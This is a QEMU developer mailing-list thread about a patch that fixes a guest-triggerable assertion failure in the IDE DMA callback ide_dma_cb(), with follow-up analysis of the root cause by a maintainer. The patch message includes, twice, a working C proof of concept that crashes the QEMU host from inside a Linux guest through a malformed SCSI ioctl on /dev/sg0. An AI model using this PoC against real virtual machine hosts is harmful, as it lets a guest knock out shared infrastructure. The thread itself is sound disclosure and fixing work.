Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
26 июля 2019 г. 2:25:03 GMT+02:00, John Snow пишет: >Oh, this is fun. ... >I can worry about a proper fix for 4.2+. Hello John, Thanks for your letter. I double-checked the git history and mailing list, I'm still sure that my fix for this assertion is correct. You know this code very well, of course it would be great if you prepare the further fixes. Feel free to add me to CC, I can review the patches and test them with fuzzing. Best regards, Alexander
Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
On 7/5/19 10:07 AM, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
>
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
>
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
>
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> #define CMD_SIZE 2048
>
> struct scsi_ioctl_cmd_6 {
> unsigned int inlen;
> unsigned int outlen;
> unsigned char cmd[6];
> unsigned char data[];
> };
>
> int main(void)
> {
> intptr_t fd = 0;
> struct scsi_ioctl_cmd_6 *cmd = NULL;
>
> cmd = malloc(CMD_SIZE);
> if (!cmd) {
> perror("[-] malloc");
> return 1;
> }
>
> memset(cmd, 0, CMD_SIZE);
> cmd->inlen = 1337;
> cmd->cmd[0] = READ_6;
>
> fd = open("/dev/sg0", O_RDONLY);
> if (fd == -1) {
> perror("[-] opening sg");
> return 1;
> }
>
> printf("[+] sg0 is opened\n");
>
> printf("[.] qemu should break here:\n");
> fflush(stdout);
> ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> printf("[-] qemu didn't break\n");
>
> free(cmd);
>
> return 1;
> }
>
> Signed-off-by: Alexander Popov
> ---
> hw/ide/core.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>
> sector_num = ide_get_sector(s);
> if (n > 0) {
> -assert(n * 512 == s->sg.size);
> +assert(n == s->sg.size / 512);
> dma_buf_commit(s, s->sg.size);
> sector_num += n;
> ide_set_sector(s, sector_num);
>
Oh, this is fun.
So you're actually requesting 131072 bytes (256 sectors) but you're
giving it far too short of a PRDT.
But ... the prepare_buf callback got anything at all, so it was happy to
proceed, but the callback chokes over the idea that the SGlist wasn't
formatted correctly -- it can't deal with partial tails.
I think it might be the case that the sglist needs to be allowed to have
an unaligned tail, and then the second trip to the dma_cb when there
isn't any more regions in the PRDT to add to the SGList to transfer at
least a single sector -- but the IDE state machine still has sectors to
transfer -- we need to trigger the short PRD clause.
Papering over it by truncating the tail I think isn't sufficient; there
are other problems this exposes.
As an emergency patch, it might be better to just do this whenever we
see partial tails:
prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
if (prepared % 512) {
ide_dma_error(s);
return;
}
I think that prepare_buf does not give unaligned results if you provided
*too many* bytes, so the unaligned return only happens when you starve it.
I can worry about a proper fix for 4.2+.
--js
Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
On 05.07.2019 17:07, Alexander Popov wrote: > This assertion was introduced in the commit a718978ed58a in July 2015. > It implies that the size of successful DMA transfers handled in > ide_dma_cb() should be multiple of 512 (the size of a sector). > > But guest systems can initiate DMA transfers that don't fit this > requirement. Let's improve the assertion to prevent qemu DoS from quests. Hello! Just a friendly ping. Could you have a look at this patch? Best regards, Alexander
[Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
This assertion was introduced in the commit a718978ed58a in July 2015.
It implies that the size of successful DMA transfers handled in
ide_dma_cb() should be multiple of 512 (the size of a sector).
But guest systems can initiate DMA transfers that don't fit this
requirement. Let's improve the assertion to prevent qemu DoS from quests.
PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
command and crash qemu:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CMD_SIZE 2048
struct scsi_ioctl_cmd_6 {
unsigned int inlen;
unsigned int outlen;
unsigned char cmd[6];
unsigned char data[];
};
int main(void)
{
intptr_t fd = 0;
struct scsi_ioctl_cmd_6 *cmd = NULL;
cmd = malloc(CMD_SIZE);
if (!cmd) {
perror("[-] malloc");
return 1;
}
memset(cmd, 0, CMD_SIZE);
cmd->inlen = 1337;
cmd->cmd[0] = READ_6;
fd = open("/dev/sg0", O_RDONLY);
if (fd == -1) {
perror("[-] opening sg");
return 1;
}
printf("[+] sg0 is opened\n");
printf("[.] qemu should break here:\n");
fflush(stdout);
ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
printf("[-] qemu didn't break\n");
free(cmd);
return 1;
}
Signed-off-by: Alexander Popov
---
hw/ide/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hw/ide/core.c b/hw/ide/core.c
index 6afadf8..304fe69 100644
--- a/hw/ide/core.c
+++ b/hw/ide/core.c
@@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
sector_num = ide_get_sector(s);
if (n > 0) {
-assert(n * 512 == s->sg.size);
+assert(n == s->sg.size / 512);
dma_buf_commit(s, s->sg.size);
sector_num += n;
ide_set_sector(s, sector_num);
--
2.7.4
Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
On 05.07.2019 17:07, Alexander Popov wrote: > This assertion was introduced in the commit a718978ed58a in July 2015. > It implies that the size of successful DMA transfers handled in > ide_dma_cb() should be multiple of 512 (the size of a sector). > > But guest systems can initiate DMA transfers that don't fit this > requirement. Let's improve the assertion to prevent qemu DoS from quests. Hello everyone! This bug was not considered as a security issue by QEMU security team, so I send this patch to the public mailing list. Best regards, Alexander
